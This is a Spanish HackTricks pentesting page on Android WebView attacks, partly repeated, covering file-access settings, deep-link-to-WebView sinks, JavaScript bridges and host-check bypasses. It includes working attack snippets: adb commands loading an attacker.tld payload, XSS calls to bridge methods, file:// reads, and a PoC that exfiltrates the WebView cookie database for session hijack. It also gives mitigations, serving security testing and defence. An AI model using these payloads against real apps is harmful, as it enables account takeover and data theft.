Ataques WebView
Reading time: 18 minutes
tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Guía sobre configuraciones y seguridad de WebView
Resumen de vulnerabilidades de WebView
Un aspecto crítico del desarrollo Android implica el manejo correcto de los WebViews. Esta guía destaca configuraciones clave y prácticas de seguridad para mitigar los riesgos asociados con el uso de WebView.
.png)
File Access in WebViews
Por defecto, los WebViews permiten el acceso a archivos. Esta funcionalidad se controla con el método setAllowFileAccess(), disponible desde Android API level 3 (Cupcake 1.5). Las aplicaciones con el permiso android.permission.READ_EXTERNAL_STORAGE pueden leer archivos del almacenamiento externo usando el esquema de URL file://path/to/file.
Deprecated Features: Universal and File Access From URLs
- Universal Access From File URLs: Esta característica obsoleta permitía solicitudes cross-origin desde file URLs, representando un riesgo de seguridad significativo debido a posibles ataques XSS. La configuración por defecto está deshabilitada (
false) para apps dirigidas a Android Jelly Bean y versiones posteriores. - Para comprobar esta configuración, use
getAllowUniversalAccessFromFileURLs(). - Para modificar esta configuración, use
setAllowUniversalAccessFromFileURLs(boolean). - File Access From File URLs: Esta característica, también obsoleta, controlaba el acceso a contenido desde otras URLs con esquema file. Como la access universal, su valor por defecto está deshabilitado para mejorar la seguridad.
- Use
getAllowFileAccessFromFileURLs()para comprobar ysetAllowFileAccessFromFileURLs(boolean)para configurar.
Secure File Loading
Para deshabilitar el acceso al sistema de archivos mientras se sigue accediendo a assets y recursos, se usa el método setAllowFileAccess(). Con Android R y versiones superiores, la configuración por defecto es false.
- Compruébelo con
getAllowFileAccess(). - Habilite o deshabilite con
setAllowFileAccess(boolean).
WebViewAssetLoader
La clase WebViewAssetLoader es el enfoque moderno para cargar archivos locales. Usa URLs http(s) para acceder a assets y recursos locales, alineándose con la política Same-Origin y, por tanto, facilitando la gestión de CORS.
loadUrl
This is a common function used to load arbitrary URLs in a webviwe:
webview.loadUrl("<url here>")
Obviamente, un atacante potencial nunca debería poder controlar la URL que una aplicación va a cargar.
JavaScript y manejo del Intent Scheme
- JavaScript: Deshabilitado por defecto en WebViews, puede habilitarse mediante
setJavaScriptEnabled(). Se recomienda precaución, ya que habilitar JavaScript sin las salvaguardas adecuadas puede introducir vulnerabilidades de seguridad. - Intent Scheme: WebViews pueden manejar el esquema
intent, lo que potencialmente puede llevar a exploits si no se gestiona con cuidado. Una vulnerabilidad de ejemplo involucró un parámetro expuesto de WebView "support_url" que podría ser explotado para ejecutar ataques de cross-site scripting (XSS).
.png)
Ejemplo de explotación usando adb:
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"
Puente de JavaScript
Android proporciona una característica que permite que JavaScript en un WebView invoque funciones nativas de la app Android. Esto se consigue utilizando el método addJavascriptInterface, que integra JavaScript con funcionalidades nativas de Android, denominado WebView JavaScript bridge. Se debe tener precaución, ya que este método permite que todas las páginas dentro del WebView accedan al objeto registrado JavaScript Interface, lo que supone un riesgo de seguridad si se expone información sensible a través de estas interfaces.
- Se requiere extrema precaución para apps dirigidas a versiones de Android anteriores a 4.2 debido a una vulnerabilidad que permite ejecución remota de código mediante JavaScript malicioso, explotando reflection.
Implementación de un WebView JavaScript bridge
- JavaScript interfaces pueden interactuar con código nativo, como se muestra en los ejemplos donde un método de clase se expone a JavaScript:
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
- JavaScript Bridge se habilita añadiendo una interfaz al WebView:
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
La explotación potencial a través de JavaScript, por ejemplo, mediante un ataque XSS, permite la invocación de métodos Java expuestos:
<script>
alert(javascriptBridge.getSecret())
</script>
- Para mitigar riesgos, restrict JavaScript bridge usage al código incluido en el APK y evita cargar JavaScript desde fuentes remotas. Para dispositivos antiguos, establece el nivel mínimo de API en 17.
Reflection-based Remote Code Execution (RCE)
- Un método documentado permite lograr RCE a través de reflection ejecutando una carga útil específica. Sin embargo, la anotación
@JavascriptInterfaceevita el acceso no autorizado a métodos, limitando la superficie de ataque.
Remote Debugging
- Remote debugging es posible con Chrome Developer Tools, permitiendo interacción y la ejecución arbitraria de JavaScript dentro del contenido del WebView.
Habilitar Remote Debugging
- Remote debugging can be enabled for all WebViews within an application by:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
- Para habilitar debugging de forma condicional según el estado debuggable de la aplicación:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}
Exfiltrar archivos arbitrarios
- Demuestra la exfiltración de archivos arbitrarios utilizando un XMLHttpRequest:
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)
Webview Attacks
Guía sobre las configuraciones y la seguridad de WebView
Resumen de las vulnerabilidades de WebView
Un aspecto crítico del desarrollo Android implica el manejo correcto de los WebViews. Esta guía destaca configuraciones clave y prácticas de seguridad para mitigar los riesgos asociados con el uso de WebView.
.png)
File Access in WebViews
Por defecto, los WebViews permiten el acceso a archivos. Esta funcionalidad está controlada por el método setAllowFileAccess(), disponible desde Android API level 3 (Cupcake 1.5). Las aplicaciones con el permiso android.permission.READ_EXTERNAL_STORAGE pueden leer archivos del almacenamiento externo usando el esquema de URL de archivo (file://path/to/file).
Deprecated Features: Universal and File Access From URLs
- Universal Access From File URLs: Esta característica obsoleta permitía solicitudes cross-origin desde file URLs, representando un riesgo de seguridad significativo debido a posibles ataques XSS. La configuración por defecto está deshabilitada (
false) para apps dirigidas a Android Jelly Bean y versiones posteriores. - Para comprobar esta configuración, use
getAllowUniversalAccessFromFileURLs(). - Para modificar esta configuración, use
setAllowUniversalAccessFromFileURLs(boolean). - File Access From File URLs: Esta característica, también obsoleta, controlaba el acceso a contenido desde otras URLs con esquema file. Al igual que el acceso universal, su valor por defecto está deshabilitado para mejorar la seguridad.
- Use
getAllowFileAccessFromFileURLs()para comprobar ysetAllowFileAccessFromFileURLs(boolean)para configurar.
Secure File Loading
Para desactivar el acceso al sistema de archivos mientras se sigue accediendo a assets y recursos, se usa el método setAllowFileAccess(). Con Android R y versiones superiores, el valor por defecto es false.
- Compruébelo con
getAllowFileAccess(). - Habilítelo o deshabilítelo con
setAllowFileAccess(boolean).
WebViewAssetLoader
La clase WebViewAssetLoader es el enfoque moderno para cargar archivos locales. Usa URLs http(s) para acceder a assets y recursos locales, alineándose con la política Same-Origin y facilitando así la gestión de CORS.
loadUrl
Esta es una función común usada para cargar URLs arbitrarias en un WebView:
webview.loadUrl("<url here>")
Por supuesto, un atacante potencial nunca debería poder controlar la URL que una aplicación va a cargar.
Deep-linking en WebView interno (custom scheme → WebView sink)
Muchas apps registran custom schemes/paths que enrutan una URL proporcionada por el usuario hacia un WebView dentro de la app. Si el deep link está exportado (VIEW + BROWSABLE), un atacante puede forzar a la app a renderizar contenido remoto arbitrario dentro de su contexto de WebView.
Patrón típico del manifest (simplificado):
<activity android:name=".MainActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="myscheme" android:host="com.example.app" />
</intent-filter>
</activity>
Flujo de código común (simplificado):
// Entry activity
@Override
protected void onNewIntent(Intent intent) {
Uri deeplink = intent.getData();
String url = deeplink.getQueryParameter("url"); // attacker-controlled
if (deeplink.getPathSegments().get(0).equals("web")) {
Intent i = new Intent(this, WebActivity.class);
i.putExtra("url", url);
startActivity(i);
}
}
// WebActivity sink
webView.loadUrl(getIntent().getStringExtra("url"));
Patrón de ataque y PoC vía adb:
# Template – force load in internal WebView
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
# If a specific Activity must be targeted
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
Impacto: la página remota se ejecuta en el contexto de la WebView de la app (cookies/sesión del perfil de WebView de la app, acceso a cualquier @JavascriptInterface expuesta, acceso potencial a content:// y file:// dependiendo de la configuración).
Hunting tips:
- Grep fuentes descompiladas en busca de
getQueryParameter("url"),loadUrl(,WebViewsinks, and deep-link handlers (onCreate/onNewIntent). - Revisa el manifest en busca de filtros VIEW+BROWSABLE y esquemas/hosts personalizados que se mapeen a actividades que luego inician una WebView.
- Comprueba si hay múltiples rutas de deep-link (p. ej., una ruta “external browser” vs. una ruta “internal webview”) y prefiere la que se muestra dentro de la app.
Enabling JavaScript before verification (order-of-checks bug)
Un error frecuente de hardening es habilitar JavaScript o configurar ajustes relajados de WebView antes de que se complete la allowlist/verificación final de la URL objetivo. Si la verificación es inconsistente entre helpers o ocurre demasiado tarde, un deep link del atacante puede llegar a un estado donde:
- Se aplican los ajustes de WebView (p. ej.,
setJavaScriptEnabled(true)), y - La URL no confiable se carga con JavaScript habilitado.
Bug pattern (pseudocode):
// 1) Parse/early checks
Uri u = parse(intent);
if (!looksValid(u)) return;
// 2) Configure WebView BEFORE final checks
webView.getSettings().setJavaScriptEnabled(true); // BAD: too early
configureMixedContent();
// 3) Do final verification (late)
if (!finalAllowlist(u)) return; // too late – JS already enabled
// 4) Load
webView.loadUrl(u.toString());
Por qué es explotable
- Normalización inconsistente: los helpers split/rebuild the URL de manera diferente a la comprobación final, creando discrepancias que una URL maliciosa puede explotar.
- Pipeline desordenado: habilitar JS en el paso 2 se aplica de forma global a la instancia de WebView, afectando la carga final incluso si la verificación fallara después.
Cómo probar
- Crea payloads de deep-link que pasen las comprobaciones tempranas y lleguen al sitio de configuración de WebView.
- Usa adb para enviar intents VIEW implícitos que entreguen un parámetro
url=controlado por ti:
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
Si la explotación tiene éxito, tu payload ejecuta JavaScript en el WebView de la app. Desde allí, busca bridges expuestos:
<script>
for (let k in window) {
try { if (typeof window[k] === 'object' || typeof window[k] === 'function') console.log('[JSI]', k); } catch(e){}
}
</script>
Guía defensiva
- Canonicalizar una vez; validar estrictamente contra una única fuente de verdad (scheme/host/path/query).
- Solo llamar a
setJavaScriptEnabled(true)después de que pasen todas las comprobaciones de allowlist y justo antes de cargar contenido de confianza. - Evitar exponer
@JavascriptInterfacea orígenes no confiables; preferir control por origen. - Considerar instancias por WebView para contenido de confianza vs no confiable, con JS deshabilitado por defecto.
JavaScript y manejo del Intent Scheme
- JavaScript: Deshabilitado por defecto en WebViews, puede habilitarse mediante
setJavaScriptEnabled(). Se recomienda precaución, ya que habilitar JavaScript sin las salvaguardas adecuadas puede introducir vulnerabilidades de seguridad. - Intent Scheme: Los WebViews pueden manejar el esquema
intent, lo que potencialmente puede conducir a exploits si no se gestiona con cuidado. Un ejemplo de vulnerabilidad implicó un parámetro expuesto de WebView "support_url" que podría explotarse para ejecutar cross-site scripting (XSS) attacks.
.png)
Ejemplo de explotación usando adb:
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"
Puente JavaScript
Android proporciona una función que permite que JavaScript en un WebView invoque funciones nativas de la aplicación Android. Esto se logra utilizando el método addJavascriptInterface, que integra JavaScript con funcionalidades nativas de Android, denominado puente JavaScript de WebView. Se recomienda precaución ya que este método permite que todas las páginas dentro del WebView accedan al objeto JavaScript Interface registrado, lo que representa un riesgo de seguridad si se expone información sensible a través de estas interfaces.
- Se requiere extrema precaución para las apps que apuntan a versiones de Android anteriores a 4.2 debido a una vulnerabilidad que permite la ejecución remota de código mediante JavaScript malicioso, explotando reflection.
Implementación de un puente JavaScript
- JavaScript interfaces pueden interactuar con código nativo, como se muestra en los ejemplos donde un método de una clase se expone a JavaScript:
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
- JavaScript Bridge se habilita añadiendo una interfaz al WebView:
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
- Potencial explotación a través de JavaScript, por ejemplo, mediante un ataque XSS, permite invocar métodos Java expuestos:
<script>
alert(javascriptBridge.getSecret())
</script>
- Para mitigar riesgos, restringe el uso del JavaScript bridge al código incluido en el APK y evita cargar JavaScript desde fuentes remotas. Para dispositivos más antiguos, establece el nivel mínimo de API en 17.
Abusing dispatcher-style JS bridges (invokeMethod/handlerName)
Un patrón común es un único método exportado (p. ej., @JavascriptInterface void invokeMethod(String json)) que deserializa JSON controlado por el atacante en un objeto genérico y despacha según un handler proporcionado. Estructura típica del JSON:
{
"handlerName": "toBase64",
"callbackId": "cb_12345",
"asyncExecute": "true",
"data": { /* handler-specific fields */ }
}
Riesgo: si any registered handler performs privileged actions on attacker data (e.g., direct file reads), you can call it by setting handlerName accordingly. Results are usually posted back into the page context via evaluateJavascript and a callback/promise mechanism keyed by callbackId.
Key hunting steps
- Descompila y haz grep de
addJavascriptInterface(para aprender el nombre del objeto bridge (p. ej.,xbridge). - En Chrome DevTools (chrome://inspect), escribe el nombre del objeto bridge en la Console (p. ej.,
xbridge) para enumerar campos/métodos expuestos; busca un dispatcher genérico comoinvokeMethod. - Enumera handlers buscando clases que implementen
getModuleName()o mapas de registro.
Arbitrary file read via URI → File sinks (Base64 exfiltration)
If a handler takes a URI, calls Uri.parse(req.getUri()).getPath(), builds new File(...) and reads it without allowlists or sandbox checks, you get an arbitrary file read in the app sandbox that bypasses WebView settings like setAllowFileAccess(false) (the read happens in native code, not via the WebView network stack).
PoC para exfiltrar la Chromium WebView cookie DB (session hijack):
// Minimal callback sink so native can deliver the response
window.WebViewJavascriptBridge = {
_handleMessageFromObjC: function (data) { console.log(data) }
};
const payload = JSON.stringify({
handlerName: 'toBase64',
callbackId: 'cb_' + Date.now(),
data: { uri: 'file:///data/data/<pkg>/app_webview/Default/Cookies' }
});
xbridge.invokeMethod(payload);
Notas
- Cookie DB paths varían según dispositivos/proveedores. Comunes:
file:///data/data/<pkg>/app_webview/Default/Cookiesfile:///data/data/<pkg>/app_webview_<pkg>/Default/Cookies- El handler devuelve Base64; decodifícalo para recuperar cookies y suplantar al usuario en el perfil de WebView de la app.
Detection tips
- Vigila cadenas grandes en Base64 devueltas vía
evaluateJavascriptcuando uses la app. - Grep fuentes decompiladas buscando handlers que acepten
uri/pathy los conviertan anew File(...).
Eludiendo los controles de privilegio de WebView – comprobaciones de host con endsWith()
Un patrón defectuoso es:
String host = Uri.parse(url).getHost();
boolean z = true;
if (!host.endsWith(".trusted.com")) {
if (!".trusted.com".endsWith(host)) {
z = false;
}
}
// z==true → open privileged WebView
Lógica equivalente (De Morgan):
boolean z = host.endsWith(".trusted.com") ||
".trusted.com".endsWith(host);
Esto no es una comprobación de origen. Muchos hosts no previstos satisfacen la segunda cláusula, permitiendo que dominios no confiables entren en la Activity privilegiada. Verifica siempre scheme y host contra una allowlist estricta (coincidencia exacta o una comprobación correcta de subdominio con dot-boundaries), no trucos de endsWith.
javascript:// execution primitive via loadUrl
Una vez dentro de un WebView privilegiado, las apps a veces ejecutan JS inline vía:
webView.loadUrl("javascript:" + jsPayload);
Si un flujo interno dispara loadUrl("javascript:...") en ese contexto, el JS inyectado se ejecuta con acceso al bridge incluso si la página externa normalmente no estaría permitida. Pasos de pentest:
- Hacer grep de
loadUrl("javascript:yevaluateJavascript(en la app. - Intentar alcanzar esas rutas de código después de forzar la navegación al WebView privilegiado (p. ej., vía un deep link chooser permisivo).
- Usar la primitive para invocar el dispatcher (
xbridge.invokeMethod(...)) y alcanzar handlers sensibles.
Mitigaciones (checklist para desarrolladores)
- Verificación estricta de origen para Activities privilegiadas: canonicalizar y comparar scheme/host contra una allowlist explícita; evitar comprobaciones basadas en
endsWith. Considerar Digital Asset Links cuando aplique. - Limitar bridges solo a páginas de confianza y volver a verificar la confianza en cada llamada (autorización por llamada).
- Eliminar o proteger fuertemente handlers con capacidad de filesystem; preferir
content://con allowlists/permissions sobre paths crudosfile://. - Evitar
loadUrl("javascript:")en contextos privilegiados o ponerlo detrás de comprobaciones estrictas. - Recordar que
setAllowFileAccess(false)no protege contra lecturas nativas de archivos vía el bridge.
JSB enumeration and debugging tips
- Habilitar la depuración remota de WebView para usar la consola de Chrome DevTools:
- Lado de la app (builds de debug):
WebView.setWebContentsDebuggingEnabled(true) - A nivel de sistema: módulos como LSPosed o scripts de Frida pueden forzar la habilitación de la depuración incluso en release builds. Ejemplo de snippet de Frida para Cordova WebViews: cordova enable webview debugging
- En DevTools, escribe el nombre del objeto bridge (p. ej.,
xbridge) para ver miembros expuestos y sondear el dispatcher.
Reflection-based Remote Code Execution (RCE)
- Un método documentado permite lograr RCE mediante reflection ejecutando una payload específica. Sin embargo, la anotación
@JavascriptInterfaceimpide el acceso no autorizado a métodos, limitando la superficie de ataque.
Remote Debugging
- Remote debugging es posible con Chrome Developer Tools, permitiendo interacción y ejecución arbitraria de JavaScript dentro del contenido del WebView.
Enabling Remote Debugging
- Remote debugging se puede habilitar para todos los WebViews dentro de una aplicación mediante:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
- Para habilitar condicionalmente la depuración en función del estado debuggable de la aplicación:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}
Exfiltrate arbitrary files
- Demuestra la exfiltration de archivos arbitrarios usando un XMLHttpRequest:
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)
Referencias
- Revisión de los vectores de ataque de acceso a archivos en Android WebViews
- WheresMyBrowser.Android (app de demostración)
- Referencia de Android WebView
- Deep Links y WebViews: Explotaciones – Parte II
- Deep Links y WebViews: Explotaciones – Parte I
- Recorrido del exploit chain del Samsung S24 Pwn2Own 2024
- Pwn2Own Ireland 2024 – Cadena de ataque del Samsung S24 (whitepaper)
- Video de demostración
- Toma de control de cuenta en aplicación Android vía JSB – tuxplorer.com
- LSPosed – systemless Xposed framework
- Frida codeshare: Cordova – habilitar WebView debugging
tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
HackTricks